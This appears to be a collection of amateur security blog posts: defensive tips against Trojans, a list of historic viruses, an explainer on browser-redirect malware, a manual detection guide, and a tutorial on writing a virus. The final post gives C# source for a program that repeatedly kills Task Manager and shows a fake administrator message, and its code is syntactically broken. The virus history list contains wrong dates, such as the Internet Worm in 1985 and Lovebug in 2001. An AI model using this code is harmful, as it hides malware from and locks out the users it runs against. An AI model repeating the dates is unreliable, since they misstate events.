Top 10 Ways to Defend Against Malware and Trojans

Top 10 Ways to Defend Against Malware and Trojans 

Although hackers never stop developing new tricks to commit fraud and 

steal identities, consumers can take some measures to safeguard their 

systems. All it takes is a combination of good security software and a 

commitment to following basic safety rules. 

1.  Protect your computer with strong security software and make 

sure to keep it up to date.  Many security software's provides trusted PC 

protection from Trojans, hackers, spyware, and more. Its integrated 

anti-virus, anti-spyware, firewall, anti-spam, and anti-phishing work 

together to combat today’s advanced multi-faceted attacks. It scans 

disks, email attachments, files downloaded from the web, and 

documents generated by word processing and spreadsheet programs. 

2.  Use a security-conscious Internet service provider (ISP) that 

implements strong anti-spam and anti-phishing procedures.  

3.  Enable automatic Windows® updates or download Microsoft® 

updates regularly to keep your operating system patched against 

known vulnerabilities. Install patches from other software 

manufacturers as soon as they are distributed. A fully patched 

computer behind a firewall is the best defense against Trojan and 

spyware installation. 

4.  Use extreme caution when opening attachments. Configure your
anti-virus software to automatically scan all email and instant message
attachments. Make sure your email program doesn’t automatically
open attachments or automatically render graphics, and ensure that
the preview pane is turned off. This will prevent macros from executing.
Refer to your program’s safety options or preferences menu for
instructions. Never open unsolicited business emails, or attachments
that you’re not expecting—even from people you know.


5.  Be careful when engaging in peer-to-peer (P2P) file-sharing.
Trojans sit within file sharing programs waiting to be downloaded. Use
the same precautions when downloading shared files that you do for
email and IM. Avoid downloading files with the
extensions .exe, .scr, .lnk, .bat, .vbs, .dll, .bin, and .cmd. Anti-virus
software and a good firewall will protect your system from malicious
files.

6.  Download the latest version of your browser to ensure that it is
also fully updated and utilizes the latest technologies to identify and
filter out phishing sites that can install Trojans.

7.  Use security precautions for your PDA, cell phone, and Wi-Fi
devices. Trojans arrive as an email/IM attachment, are downloaded
from the Internet, or are uploaded along with other data from a desktop.
Cell phone viruses are in their infancy, but will become more common
as more people buy phones with advanced features. Anti-virus
software is available for PDAs and cell phones.

8.  Configure your instant messaging application correctly. Make
sure it does not open automatically when you fire up your computer.
Turn off your computer and disconnect the DSL or modem line when
you’re not using it. Beware of spam-based phishing schemes—don’t
click links in emails or IM.

9.  Be certain a web site is legitimate before you go there. Use
software that automatically checks this, such as AccountGuard from
eBay and ScamBlocker from Earthlink. You can also check the validity
of individual web addresses (URLs) with a WHOIS search such as
http://www.DNSstuff.com.

10. Back up your files regularly and store the backups somewhere
besides your PC. If you fall victim to a Trojan attack, you can recover
your photos, music, movies, and personal information like tax returns
and bank statements.

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Posted in: Viruses

Top 20 viruses in the history

Top 20 Viruses in History

  1.  CREEPER (1971) first worm program ran on a DEC 10 computer under the TOPS TEN
operating system.

2.  ELK CLONER (1985) first personal computer virus, on the Apple IIe. This was created by a
9th grader.

3.  THE INTERNET WORM (1985) written by a person at Cornell University which brought the
Internet to a standstill.

4.  PAKISTANI BRAIN (1988) first virus to infect the IBM PC, written by two brothers from
Pakistan. This was the first virus widely covered by the media, although viruses were
already well known in Science Fiction.

5.  JERUSALEM FAMILY (1990) About fifty different strains of this virus, believed to have come
from the University of Jerusalem.

6.  STONED (1989) the most widespread virus in the first decade of viruses; stoned was a
boot sector/.mbr infector that would count the number of reboots from its original infection
and display the phrase “your computer is now stoned.”

7.  DARK AVENGER MUTATION ENGINE (1990) was actually written in 1988, but was only
first used in the early nineties in viruses like POGUE and COFFEESHOP. This Mutation
Engine was the first real Polymorphism put into use in the wild, and changed virus work forever



8.  MICHEANGELO (1992) a variant of STONED, with a destructive payload.  On March 6th,
this virus will erase the first 100 sectors of a hard drive, rendering it useless.

9.  WORLD CONCEPT (1995) the first Microsoft Word Macro virus in the wild, Word Concept
would enter the phrase, “That’s enough to prove my point” This launched the second era of
computer viruses, and was important in that it brought computer viruses to a much less
skilled level of hacker.

10.  CIH/CHERNOBYL (1998) The Chernobyl virus was the most destructive virus ever seen, up
to it’s time.  Hitting on the 26th of any month (depending on the version involved), it would
both erase the hard drive, and wipe out the flash ROM BIOS of the computer in question.

11.  MELISSA (1999) the first major virus to spread via email, and really the beginning of the
Internet virus era. Although Melissa was non destructive, it was disruptive in the fact that it
would both replicate and fill email boxes wherever it went.

12.  LOVEBUG (2001) the most popular email worm ever, driven purely by social engineering.

13.  Code RED (2001) named for a popular high caffeine soft drink, this network virus spread
without either email or webpage. It located vulnerable computers and infected them all on
it’s own.  


14.  NIMDA (2001) Dubbed “the Swiss Army Knife” of viruses, it used buffer overflows, email,
network shares, and ten other methods to gain entry to a network.

15.  BAGEL/NETSKY (2004) were viruses designed to demonstrate a fake competition, or war
with each other.  With hundreds of versions each, and varying amounts of new technology
and success, these two worms stayed in the news virtually the entire year.

16.  BOTNETS (2004) these zombie warriors of the internet provide Cybercriminals with an
endless collection of infected computers that can be reconfigured in networks to forward
spam, infecting new people, stealing data—they allow the bad guys to use.

17.  ZOTOB (2005) this worm only affected unpatched windows 2000 systems, but managed to
take out several major media sites, including CNN  and the New York Times.

18.  ROOTKITS (2005) they have become one of the most popular stealth tools in the world of
malicious code.  It is used to make other malware invisible by warping the operating
system.  

19.  STORM WORM (2007) the virus went through thousands of iterations, eventually creating
the world’s largest botnet.  At one time it was believed that more than fifteen million
machines were infected at the same time, and in the control of the criminal underworld.  

20.  ITALIAN JOB (2007) rather than a single piece of malware, the Italian Job was a
coordinated attack using a prepackaged tool kit known as MPACK. It involved corrupting
more than ten thousand websites, causing them to plant modern Data Stealing Malware.

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Posted in: Viruses

What is Google redirect virus ???

The Google Redirect Virus is a "browser hijack" virus which will send your computer to fake websites when you are redirected online. In normal circumstances, Windows will be able to send you to the correct website when it is redirected, but if you have the Google Redirect Virus, the virus will "inject" its own websites into the redirect process, leading your PC to send you to random ones. This will happen for all redirects, not just search engine results... however, as most search engine results will redirect you, that's where most people see the issue.

Not many people know this, but when you click on a link on the search engine, it won't take you to the page you're looking for straight away. In fact, Google, Yahoo & Bing will all take you to a special link on Google.com / Yahoo.com / Bing.com in order to track your searches and other metrics. All search engines redirect your results, meaning that if you have the redirect virus, it's going to show when you search for something online.The reason why this virus is difficult to remove is because it doesn't leave any "footprint" or "trace" on your system. Unlike typical virus infections (which will place a fake file / application onto your PC), the search redirect virus will just change the redirect settings for Windows and then disappear. This means that most antivirus programs are powerless to remove it.

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Posted in: News,Viruses

How to Manually detect the Viruses in our Computer

 Hi friends . Now you know how to code a virus and now i will teach u how to manually detect the viruses and you can maintain your computer even without the antivirus , yes friends its true but this requires good command on the computer and little bit common sense .

 First of all we will list the feautres of some viruses and then we will discuss the remedies for those features


First and foremost a virus will be disabling the process from execution , do you know which process will be disabled ?
1) Task manager
2) Registries
3)Services
4)Group policy
etc,.
A normal virus will be disabling the above process from execution , some viruses which are coded by highly talented programmers may also stop a drive from opening and it may disable the video drivers , audio drivers and also can download some other viruses and make them to execute on your machine , these viruses are very danger .

Now lets see some situations where some person is  effected by a virus ,For example person A's computer  is affected by a virus which disabled all the above process , now how can you stop virus from executing ???


If you have some knowledge on computers , you may say that i will first try all the options like i will check taskmgr , ok now if your press ctrl+alt+esc you will get a error message like Task manager is been disabled by Administrator , ok now you may say i will go to group policy editor and i will enable the task manager , ok when you type gpedit.msc in the run then it will not execute , so now what will you do ???

So download Sys Internals suite provided by Microsoft and you will find a file with name processexplorer.exe , now right click on that file and click on run as administrator , it is an advanced Task Manager .

Now if you execute the processexplorer in person A's computer

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Posted in: Viruses

Create our own Computer virus

Hi guys ..
Today I will be discussing about viruses ..
 
A computer virus is a computer program that can copy itself and infect a computer. The term "virus" is also commonly but erroneously used to refer to other types of malware including but not limited to adware and spyware  programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk,CD,DVD, or USB drive

So this is definition which you find in the google , you can code your own viruses , yes it is very simple to code  to your own viruses friends .  I will not give the complete code of the virus but i will explain a pseudo code first and then i will be writing  a small virus program which will not allow task manager from executing .. 


So here we go .. First i recommend C# language for coding  simple viruses and but you can also use python , perl , php or  any language of your choice for coding your own virus ..

Step 1)  First start your VS 2008 or 2010 create a windows form application and give your own.

Step 2) You need to Import two name spaces for creating viruses 
                              a)System.Diagnostics 
                              b)System.Timer

Step 3) After Import the namespaces first you need to  create a object for Timer class 
                                            eg:-Timer timer = new Timer();

            After this you need to specify the attributes of the timer to your desired values like Elapsed , autoreset , and interval .. After specifyting the timer attributes now it is the time to kill the process which are Running on your machine 
Step 4) Listing the process . For Listing the process on our machine you need to use Process class .
                            eg:- Process[] Myprocess =  Process.GetProcess();
                            This will get all the running process on your machine and after getting all the process you can  now kill any process or suspend any process using Kill () function 


Small Virus code :- 

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Timers;
using Microsoft.Win32;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace viruses
{
    public partial class Form1 : Form
    {
  
     
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
          
           
            System.Timers.Timer timer;
            timer = new System.Timers.Timer(100000);
            timer.Elapsed += new ElapsedEventHandler(OnTimedEvent);
            timer.AutoReset = true;
            timer.Interval = 60;
            timer.Start();
}
}
 Public static void OnTimedEvent(Object source , EventArgs e)
{
Process[] ProcessList = Process.GetProcesses();
            foreach (Process proc in ProcessList)
            {

                if (proc.ProcessName.Contains("taskmgr"))
                {
                   proc.Kill();
                   MessageBox.Show("Task Manager Has Been Disabled By Administrator");
               }
}
}
}
} 

Hope you Gained some knowledge from my blog , will be posting a lot so keep on visiting  Guys .. If you dont like anything or incase of any queries please feel free to comment ..

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Posted in: Viruses